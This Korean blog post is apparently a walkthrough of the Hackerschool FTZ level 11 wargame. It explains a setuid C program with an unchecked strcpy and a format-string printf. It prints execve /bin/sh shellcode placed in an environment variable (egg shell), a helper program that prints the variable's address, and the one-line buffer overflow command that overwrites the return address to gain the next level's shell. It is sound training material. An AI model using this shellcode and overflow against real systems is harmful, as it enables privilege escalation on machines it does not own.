문제 내용
힌트 파일을 확인해보니 코드가 들어가있다. 코드를 해석해 보겠다.
힌트 코드
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
str배열이 256바이트만큼 선언되었고 setreuid로 3092로 Real User ID(실제 사용자), Effective User ID(유효 사용자)를 설정해주었다.
strcpy로 str에 argv[1]을 복사한다. 그리고 str을 출력한다.
여기서 strcpy는 길이를 검증하지 않기때문에 길이보다 많은 데이터 값을 입력하면 버퍼를 넘어서 다른 메모리영역까지 침범할 수 있다. 버퍼를 넘어 SFP에서 RET값을 변조한다면 level12의 쉘을 획득할 수 있을것이다.
/bin/sh 위치 찾기
/bin/sh 문자열 주소 찾는 방법.
사실 /bin/sh 문자열만 찾는 것은 아니며 이를 활용해서 여러 함수의 주소를 찾을 수 있다. gdb에서 찾기. 보통 system 함수와 함께 쓰이므로 아래와 같이 찾을 수 있다. gef➤ find &system,+999999999,"/bin/sh"
wyv3rn.tistory.com
ldd명령어 지정한 프로그램의 라이브러리 의존성을 확인할 때 사용한다.
파일에서 사용된 libc 버전을 확인하였다.
strings 명령어는 실행파일의 ASCII문자를 찾아 출력하는 명령어이다.
strings의 옵션 -tx를 통해 /bin/sh의 위치를 16진수로 출력하였다.
이렇게 시도하였지만 실패하였다.
다음방법이다!!
환경변수를 이용한 버퍼오버플로우 공격이다(에그쉘)
환경변수에 쉘 코드를 삽입하였다.
쉘 코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
그다음 환경변수 SHELLCODE의 주소를 알아야한다.
#include<stdio.h>
int main(){
printf("address : %p\n",getenv("SHELLCODE"));
return 0;
}
해당 코드를 통해 환경변수의 주소를 출력한다.
디렉토리를 이동한후 환경변수 SHELLCODE의 주소를 보니 변경이 되어있었다.
변경된 주소로 버퍼오버플로우를 공격하니 공격에 성공하여 권한상승을 하였다.
exploit code
./attackme `python -c 'print "A"*268 + "\x33\xfc\xff\xbf"'`
level12 password
it is like this
'hackerschool 문제 > FTZ' 카테고리의 다른 글
[Hackerschool FTZ] - level 10 문제 (0) | 2022.11.22 |
---|---|
[Hackerschool FTZ] - level 9 문제 (0) | 2022.11.21 |
[Hackerschool FTZ] - level 8 문제 (0) | 2022.11.20 |
[Hackerschool FTZ] - level 7 문제 (0) | 2022.11.19 |
[Hackerschool FTZ] - level 6 문제 (0) | 2022.11.18 |